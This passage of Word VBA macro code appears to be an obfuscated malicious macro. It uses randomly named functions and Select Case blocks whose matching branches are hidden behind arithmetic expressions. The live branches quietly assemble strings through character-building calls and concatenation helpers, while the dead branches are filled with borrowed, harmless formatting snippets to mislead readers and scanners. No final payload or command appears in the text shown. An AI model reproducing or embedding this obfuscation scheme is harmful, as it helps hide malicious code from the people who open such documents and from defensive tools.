wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n .Borders.Shadow = False\nEnd With\nWith Options\n .DefaultBorderLineStyle = wdLineStyleSingle\n .DefaultBorderLineWidth = wdLineWidth050pt\n .DefaultBorderColorIndex = wdAuto\nEnd With\n\n\n\nEnd Select\n\n\n\nSelect Case -171\nCase (985 + (570) - (-322 + 838) + (129)):\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nCase (36 + 219 + (-736 - (557) + 867)): Gtru5jecxQ = r53u4nc(1571 - (1371) + (-179))\n\nEnd Select\n\n\n\nSelect Case -88\nCase (-313 + (-127) - (-812 + 946) + (-127)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nCase (750 + -876 + (378 - (372) + 32)): ZaPeKjX = Gtru5jecxQ & r53u4nc(-6223 - (-1615) + (4630))\n\nEnd Select\n\n\n\nSelect Case 1233\nCase (196 + (-465) - (480 + 496) + (373)):\n\n\n\n ' Display message, title, and default value\n Drive = InputBox(Message, Title, Default)\n If Drive > \"\" Then\n ffname = ActiveDocument.FullName\n FName = Drive & \":\\\" & ActiveDocument.Name\n ActiveDocument.SaveAs FName\n ActiveDocument.SaveAs ffname\n End If\n\n\n\n With ActiveDocument\n ' go through each section (except for the last one)\n For iSec = 1 To .Sections.Count - 1\n ' create a range object at the start of the section\n Set oRng = .Sections(iSec).Range\n oRng.Collapse wdCollapseStart\n ' insert a sectionpages field\n .Fields.Add Range:=oRng, Type:=wdFieldSectionPages\n ' divide the sectionpages field by 2\n ' if it gives a zero as the remainder, then\n ' you have an even number of pages in the section,\n ' which is what you want with an odd section page break\n If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then\n ' if you have an odd number of pages, then insert\n ' a page break before the section's section break\n Set oRng = .Sections(iSec).Range\n With oRng\n .Collapse Direction:=wdCollapseEnd\n .MoveEnd Unit:=wdCharacter, Count:=-1\n .InsertBreak Type:=wdPageBreak\n End With\n End If\n ' remove the sectionpages field that was added\n .Sections(iSec).Range.Fields(1).Delete\n Next iSec\n End With\n\n\n\nCase (179 + 768 + (-120 - (-153) + 253)): PkBfumIO4 = ZaPeKjX\n\nEnd Select\n\n\nEnd Function\n\nFunction zSO9JoK3E2() As String\n\nSelect Case -885\nCase (491 + (-427) - (-651 + -653) + (-923)):\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nActiveDocument.Bookmarks.Add Range:=Selection.Range, _\n Name:=\"BookmarkName\"\n\n\n\nCase (-449 + 274 + (719 - (733) + -696)): Dim i7HAqx\n\nEnd Select\n\n\n\nSelect Case -1540\nCase (173 + (7) - (-445 + 587) + (896)):\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nCase (119 + -987 + (-932 - (518) + 778)): Dim pI64kH8wQkQ\n\nEnd Select\n\n\n\nSelect Case 1738\nCase (-724 + (502) - (686 + 196) + (-469)):\n\n\n\n\n ' reference the current document\n Set docActive = ActiveDocument\n\n ' get the name of doc and also path/name\n ' of the template it's based-on\n strDocName = docActive.Name\n strTemplateName = docActive.AttachedTemplate.FullName\n\n ' create a copy document based on same template\n Set docNew = Documents.Add(strTemplateName)\n\n ' loop to copy each part of the active doc to the new doc\n For Each rngActiveDocPart In docActive.StoryRanges\n ' reference same part\n Set rngNewDocPart = docNew.StoryRanges _\n (rngActiveDocPart.StoryType)\n rngActiveDocPart.Copy\n rngNewDocPart.Paste\n Next rngActiveDocPart\n\n ' make the new document active\n docNew.Activate\n\n ' offer to save it on floppy drive A:\\\n\n\n\n\n With Selection.Find\n .ClearFormatting\n .Replacement.ClearFormatting\n .Text = \" {2,}\"\n .Replacement.Text = \"^t\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchAllWordForms = False\n .MatchSoundsLike = False\n .MatchWildcards = True\n End With\n Selection.Find.Execute Replace:=wdReplaceAll\n Selection.ConvertToTable _\n Separator:=wdSeparateByTabs, _\n Format:=wdTableFormatNone\n\n\n\nCase (506 + 990 + (916 - (170) + -504)): i7HAqx = r53u4nc(1571 - (1371) + (-179))\n\nEnd Select\n\n\n\nSelect Case 1239\nCase (141 + 18 + (892 - (456) + 644)): pI64kH8wQkQ = i7HAqx & r53u4nc(-6223 - (-1615) + (4630))\n\nCase (846 + (-339) - (376 + -732) + (164)):\n\n\n\n\n ' reference the current document\n Set docActive = ActiveDocument\n\n ' get the name of doc and also path/name\n ' of the template it's based-on\n strDocName = docActive.Name\n strTemplateName = docActive.AttachedTemplate.FullName\n\n ' create a copy document based on same template\n Set docNew = Documents.Add(strTemplateName)\n\n ' loop to copy each part of the active doc to the new doc\n For Each rngActiveDocPart In docActive.StoryRanges\n ' reference same part\n Set rngNewDocPart = docNew.StoryRanges _\n (rngActiveDocPart.StoryType)\n rngActiveDocPart.Copy\n rngNewDocPart.Paste\n Next rngActiveDocPart\n\n ' make the new document active\n docNew.Activate\n\n ' offer to save it on floppy drive A:\\\n\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nEnd Select\n\n\n\nSelect Case 844\nCase (358 + 375 + (488 - (562) + 185)): zSO9JoK3E2 = pI64kH8wQkQ\n\nCase (61 + (127) - (-156 + -491) + (-620)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\nColumns.EntireColumn.Hidden = False\nRows.EntireRow.Hidden = False\n\n\n\nEnd Select\n\n\nEnd Function\n\nFunction xFE9DJ4h0tGm() As String\n\nSelect Case 1910\nCase (260 + (-410) - (658 + 329) + (-460)):\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nCase (970 + 482 + (-482 - (25) + 965)): Dim CvnNCz\n\nEnd Select\n\n\n\nSelect Case -1098\nCase (-636 + (207) - (-920 + 890) + (49)):\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nCase (-773 + -985 + (818 - (-790) + -948)): Dim C4jovSOaRTKjP\n\nEnd Select\n\n\n\nSelect Case -2007\nCase (278 + (-481) - (-901 + -215) + (828)):\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nCase (-804 + -901 + (-565 - (-866) + -603)): CvnNCz = r53u4nc(1571 - (1371) + (-179))\n\nEnd Select\n\n\n\nSelect Case -2274\nCase (-240 + (995) - (607 + -725) + (-562)):\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\nCase (-692 + -959 + (22 - (-343) + -988)): C4jovSOaRTKjP = CvnNCz & r53u4nc(-6223 - (-1615) + (4630))\n\nEnd Select\n\n\n\nSelect Case 1065\nCase (937 + (883) - (-52 + 494) + (720)):\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\n With Selection.Find\n .ClearFormatting\n .Replacement.ClearFormatting\n .Text = \" {2,}\"\n .Replacement.Text = \"^t\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchAllWordForms = False\n .MatchSoundsLike = False\n .MatchWildcards = True\n End With\n Selection.Find.Execute Replace:=wdReplaceAll\n Selection.ConvertToTable _\n Separator:=wdSeparateByTabs, _\n Format:=wdTableFormatNone\n\n\n\nCase (833 + -534 + (135 - (-969) + -338)): xFE9DJ4h0tGm = C4jovSOaRTKjP\n\nEnd Select\n\n\nEnd Function\n\nFunction l5Qu0IpXCE(PerIomA7Ym40h5c As String, Jk6h9g As String)\n\nSelect Case -1268\nCase (-666 + 535 + (-44 - (484) + -609)): l5Qu0IpXCE = PerIomA7Ym40h5c + Jk6h9g\n\nCase (-952 + (-574) - (435 + -898) + (-173)):\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\nEnd Select\n\n\nEnd Function\nFunction ahSaAw0h(bK6FlBpOx9L As String, IezJdICRv As String)\n\nSelect Case -1210\nCase (-316 + (-250) - (-630 + -844) + (-926)):\n\n\n\n With ActiveDocument\n ' go through each section (except for the last one)\n For iSec = 1 To .Sections.Count - 1\n ' create a range object at the start of the section\n Set oRng = .Sections(iSec).Range\n oRng.Collapse wdCollapseStart\n ' insert a sectionpages field\n .Fields.Add Range:=oRng, Type:=wdFieldSectionPages\n ' divide the sectionpages field by 2\n ' if it gives a zero as the remainder, then\n ' you have an even number of pages in the section,\n ' which is what you want with an odd section page break\n If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then\n ' if you have an odd number of pages, then insert\n ' a page break before the section's section break\n Set oRng = .Sections(iSec).Range\n With oRng\n .Collapse Direction:=wdCollapseEnd\n .MoveEnd Unit:=wdCharacter, Count:=-1\n .InsertBreak Type:=wdPageBreak\n End With\n End If\n ' remove the sectionpages field that was added\n .Sections(iSec).Range.Fields(1).Delete\n Next iSec\n End With\n\n\n\n ' Display message, title, and default value\n Drive = InputBox(Message, Title, Default)\n If Drive > \"\" Then\n ffname = ActiveDocument.FullName\n FName = Drive & \":\\\" & ActiveDocument.Name\n ActiveDocument.SaveAs FName\n ActiveDocument.SaveAs ffname\n End If\n\n\n\nCase (694 + -683 + (-189 - (692) + -340)): ahSaAw0h = bK6FlBpOx9L + IezJdICRv\n\nEnd Select\n\n\nEnd Function\nFunction HDEti75c(ZysRGDrvuhK40ToJl As String, BbKiadjh25IgRuGD6c As String)\n\nSelect Case -1266\nCase (-351 + (525) - (785 + -959) + (698)):\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nWith Selection.Cells\n .Borders(wdBorderLeft).LineStyle = wdLineStyleNone\n With .Borders(wdBorderRight)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderTop)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderBottom)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n .Borders.Shadow = False\nEnd With\nWith Options\n .DefaultBorderLineStyle = wdLineStyleSingle\n .DefaultBorderLineWidth = wdLineWidth050pt\n .DefaultBorderColorIndex = wdAuto\nEnd With\n\n\n\nCase (-482 + 38 + (-416 - (-225) + -631)): HDEti75c = ZysRGDrvuhK40ToJl + BbKiadjh25IgRuGD6c\n\nEnd Select\n\n\nEnd Function\nFunction iD5c9PJf8K(RezYJtUFoGIAB0sG9 As String, qaqOFiYAlcEF As String)\n\nSelect Case 1360\nCase (933 + 962 + (-473 - (811) + 749)): iD5c9PJf8K = RezYJtUFoGIAB0sG9 + qaqOFiYAlcEF\n\nCase (-772 + (434) - (649 + -214) + (-413)):\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\nEnd Select\n\n\nEnd Function\nFunction Uu0hWQa5(QomMBr63 As String, UHREKoSPsuInBkPd As String)\n\nSelect Case -153\nCase (10 + (91) - (45 + -210) + (25)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nCase (349 + -855 + (440 - (105) + 18)): Uu0hWQa5 = QomMBr63 + UHREKoSPsuInBkPd\n\nEnd Select\n\n\nEnd Function\nFunction Grrr0fvOe(FECvQOXHGz As String, OSVoz8lCfY9c3RG9HrJ As String)\n\nSelect Case -232\nCase (269 + 267 + (-644 - (371) + 247)): Grrr0fvOe = FECvQOXHGz + OSVoz8lCfY9c3RG9HrJ\n\nCase (664 + (962) - (-709 + 603) + (-67)):\n\n\n\n With ActiveDocument\n ' go through each section (except for the last one)\n For iSec = 1 To .Sections.Count - 1\n ' create a range object at the start of the section\n Set oRng = .Sections(iSec).Range\n oRng.Collapse wdCollapseStart\n ' insert a sectionpages field\n .Fields.Add Range:=oRng, Type:=wdFieldSectionPages\n ' divide the sectionpages field by 2\n ' if it gives a zero as the remainder, then\n ' you have an even number of pages in the section,\n ' which is what you want with an odd section page break\n If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then\n ' if you have an odd number of pages, then insert\n ' a page break before the section's section break\n Set oRng = .Sections(iSec).Range\n With oRng\n .Collapse Direction:=wdCollapseEnd\n .MoveEnd Unit:=wdCharacter, Count:=-1\n .InsertBreak Type:=wdPageBreak\n End With\n End If\n ' remove the sectionpages field that was added\n .Sections(iSec).Range.Fields(1).Delete\n Next iSec\n End With\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nEnd Select\n\n\nEnd Function\nFunction NTGoRCvic(Q4gO96xf As String, Bd5k9y As String)\n\nSelect Case -763\nCase (698 + (-125) - (-76 + -128) + (480)):\n\n\n\nDo Until ActiveDocument.Bookmarks(\"\\Sel\") = _\n ActiveDocument.Bookmarks(\"\\EndOfDoc\")\n Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"Howdy!\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n\n If Selection.Find.Found = True Then\n 'Do something within the found text\n Else\n Exit Do\n End If\n Loop\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nCase (598 + 602 + (-515 - (934) + -514)): NTGoRCvic = Q4gO96xf + Bd5k9y\n\nEnd Select\n\n\nEnd Function\nFunction zhrdJCQxE(KQ0t4v As String, A1y4rTdB As String)\n\nSelect Case -398\nCase (-703 + 98 + (46 - (617) + 778)): zhrdJCQxE = KQ0t4v + A1y4rTdB\n\nCase (-272 + (78) - (683 + -818) + (149)):\n\n\n\nColumns.EntireColumn.Hidden = False\nRows.EntireRow.Hidden = False\n\n\n\n ' set document folder path and template strings\n strDocPath = \"C:\\path to document folder\\\"\n strTemplateB = \"C:\\path to template\\templateB.dot\"\n\n ' get first doc - only time need to provide file spec\n strCurDoc = Dir(strDocPath & \"*.doc\")\n\n ' ready to loop (for as long as file found)\n Do While strCurDoc <> \"\"\n ' open file\n Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)\n ' change the template\n docCurDoc.AttachedTemplate = strTemplateB\n ' save and close\n docCurDoc.Close wdSaveChanges\n ' get next file name\n strCurDoc = Dir\n Loop\n MsgBox \"Finished\"\n\n\n\nEnd Select\n\n\nEnd Function\nFunction ArmjvxE(lfG6gxp As String, vh3Lh1SaZanzei0FFD As String)\n\nSelect Case -489\nCase (-645 + (743) - (570 + -608) + (431)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\n ' set document folder path and template strings\n strDocPath = \"C:\\path to document folder\\\"\n strTemplateB = \"C:\\path to template\\templateB.dot\"\n\n ' get first doc - only time need to provide file spec\n strCurDoc = Dir(strDocPath & \"*.doc\")\n\n ' ready to loop (for as long as file found)\n Do While strCurDoc <> \"\"\n ' open file\n Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)\n ' change the template\n docCurDoc.AttachedTemplate = strTemplateB\n ' save and close\n docCurDoc.Close wdSaveChanges\n ' get next file name\n strCurDoc = Dir\n Loop\n MsgBox \"Finished\"\n\n\n\nCase (-875 + 746 + (361 - (152) + -569)): ArmjvxE = lfG6gxp + vh3Lh1SaZanzei0FFD\n\nEnd Select\n\n\nEnd Function\nFunction GFRC1xQH(v9P5cXgT As String, muWMy3C8PixXMthQPU As String)\n\nSelect Case -1415\nCase (282 + (-874) - (-129 + -476) + (-200)):\n\n\n\nActiveDocument.Bookmarks.Add Range:=Selection.Range, _\n Name:=\"BookmarkName\"\n\n\n\n Title = \"CharCount\"\n CharCount = Len(Selection)\n Message = LTrim(Str(CharCount)) + \" character\"\n If CharCount <> 1 Then Message = Message + \"s\"\n MsgBox Message, vbOKOnly, Title\n\n\n\nCase (-960 + -880 + (484 - (-777) + -836)): GFRC1xQH = v9P5cXgT + muWMy3C8PixXMthQPU\n\nEnd Select\n\n\nEnd Function\nFunction ZiGwBLDR3Kd(MySkP0skoQq5 As String, WfDFY4D As String)\n\nSelect Case 1080\nCase (741 + (438) - (941 + 353) + (475)):\n\n\n\nActiveDocument.Bookmarks.Add Range:=Selection.Range, _\n Name:=\"BookmarkName\"\n\n\n\nColumns.EntireColumn.Hidden = False\nRows.EntireRow.Hidden = False\n\n\n\nCase (755 + 441 + (-400 - (-173) + 111)): ZiGwBLDR3Kd = MySkP0skoQq5 + WfDFY4D\n\nEnd Select\n\n\nEnd Function\nFunction s5Lagjw5m(bknVJIIiq2Ryf8T As String, DUJ96L6IOiZdQs9e9 As String)\n\nSelect Case -228\nCase (433 + -628 + (-954 - (-99) + 822)): s5Lagjw5m = bknVJIIiq2Ryf8T + DUJ96L6IOiZdQs9e9\n\nCase (501 + (416) - (-158 + 621) + (-509)):\n\n\n\nDo Until ActiveDocument.Bookmarks(\"\\Sel\") = _\n ActiveDocument.Bookmarks(\"\\EndOfDoc\")\n Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"Howdy!\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n\n If Selection.Find.Found = True Then\n 'Do something within the found text\n Else\n Exit Do\n End If\n Loop\n\n\n\n With ActiveDocument\n ' go through each section (except for the last one)\n For iSec = 1 To .Sections.Count - 1\n ' create a range object at the start of the section\n Set oRng = .Sections(iSec).Range\n oRng.Collapse wdCollapseStart\n ' insert a sectionpages field\n .Fields.Add Range:=oRng, Type:=wdFieldSectionPages\n ' divide the sectionpages field by 2\n ' if it gives a zero as the remainder, then\n ' you have an even number of pages in the section,\n ' which is what you want with an odd section page break\n If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then\n ' if you have an odd number of pages, then insert\n ' a page break before the section's section break\n Set oRng = .Sections(iSec).Range\n With oRng\n .Collapse Direction:=wdCollapseEnd\n .MoveEnd Unit:=wdCharacter, Count:=-1\n .InsertBreak Type:=wdPageBreak\n End With\n End If\n ' remove the sectionpages field that was added\n .Sections(iSec).Range.Fields(1).Delete\n Next iSec\n End With\n\n\n\nEnd Select\n\n\nEnd Function\nFunction ftICRXW6I(MCsJfT9S7I1iNR As String, Ax3SjvPxrV As String)\n\nSelect Case -1090\nCase (527 + -65 + (-989 - (201) + -362)): ftICRXW6I = MCsJfT9S7I1iNR + Ax3SjvPxrV\n\nCase (-112 + (-981) - (-703 + -320) + (542)):\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\nEnd Select\n\n\nEnd Function\nFunction XLJDdezhP9lSk(ROnjfrqhOH As String, bTF9X1Ahz24a1GPf As String)\n\nSelect Case 390\nCase (758 + -190 + (900 - (824) + -254)): XLJDdezhP9lSk = ROnjfrqhOH + bTF9X1Ahz24a1GPf\n\nCase (2 + (739) - (-746 + -975) + (757)):\n\n\n\niParCount = ActiveDocument.Paragraphs.Count\nFor J = 1 To iParCount\n sMyPar = ActiveDocument.Paragraphs(J).Range.Text\n ActiveDocument.Paragraphs(J).Range.Text = sMyPar\nNext J\n\n\n\n With ActiveDocument\n ' go through each section (except for the last one)\n For iSec = 1 To .Sections.Count - 1\n ' create a range object at the start of the section\n Set oRng = .Sections(iSec).Range\n oRng.Collapse wdCollapseStart\n ' insert a sectionpages field\n .Fields.Add Range:=oRng, Type:=wdFieldSectionPages\n ' divide the sectionpages field by 2\n ' if it gives a zero as the remainder, then\n ' you have an even number of pages in the section,\n ' which is what you want with an odd section page break\n If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then\n ' if you have an odd number of pages, then insert\n ' a page break before the section's section break\n Set oRng = .Sections(iSec).Range\n With oRng\n .Collapse Direction:=wdCollapseEnd\n .MoveEnd Unit:=wdCharacter, Count:=-1\n .InsertBreak Type:=wdPageBreak\n End With\n End If\n ' remove the sectionpages field that was added\n .Sections(iSec).Range.Fields(1).Delete\n Next iSec\n End With\n\n\n\nEnd Select\n\n\nEnd Function\nFunction ELk3zBm4WdTd(NQPik As String, OKNsGgPmFSJK As String)\n\nSelect Case -445\nCase (-897 + 624 + (-180 - (293) + 301)): ELk3zBm4WdTd = NQPik + OKNsGgPmFSJK\n\nCase (838 + (-695) - (-454 + -646) + (747)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n 